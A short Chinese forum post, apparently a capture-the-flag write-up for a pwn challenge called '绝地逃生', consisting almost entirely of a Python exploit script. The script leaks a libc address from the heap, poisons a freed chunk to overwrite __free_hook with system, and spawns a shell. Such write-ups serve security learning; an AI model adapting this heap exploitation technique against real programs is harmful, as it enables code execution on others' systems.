首页
论坛
专栏
课程

[原创]绝地逃生 WP

2019-6-26 12:25 2653
xym

[原创]绝地逃生 WP

2019-6-26 12:25
2653

一血题。

没啥好说的,放WP,注意这个不能保证每次都能成功。

try:

add(0, 0xF8, 'A' * 1)

add(1, 0x68, 'B' * 1)

add(2, 0x68, 'C' * 1)

add(3, 0x68, '/bin/sh\x00' * 1)

for i in range(252):

add(i + 4, 0x10, 'A' * 1)

free(2, 254, 255)

except:

return

show(0)

leak_addr = p.recvuntil('\n1. ',drop = True)

leak_addr = u64(leak_addr.ljust(8, '\x00'))

print 'leak_addr ',hex(leak_addr)

libc.address = leak_addr - 96 - 0x10 - libc.symbols['__malloc_hook']

print 'libc.address ', hex(libc.address)

show(1)

leak_addr = p.recvuntil('\n1. ',drop = True)

leak_addr = u64(leak_addr.ljust(8, '\x00'))

print 'leak_addr ',hex(leak_addr)

free(1, 4, 254)

free(1, 2, 3)

#

add(2, 0x68, p64(libc.symbols['__free_hook']))

add(4, 0x68, '/bin/sh\x00')

add(5, 0x68, p64(libc.symbols['__free_hook']))

one_gadget = 0x4f2c5

add(6, 0x68, p64(libc.symbols['system']))

#debugf('bp 0x555555554AA3\nbp 0x555555554AA3')

free(1, 4, 5)

p.interactive()



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-6-26 12:26 被xym编辑 ,原因:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回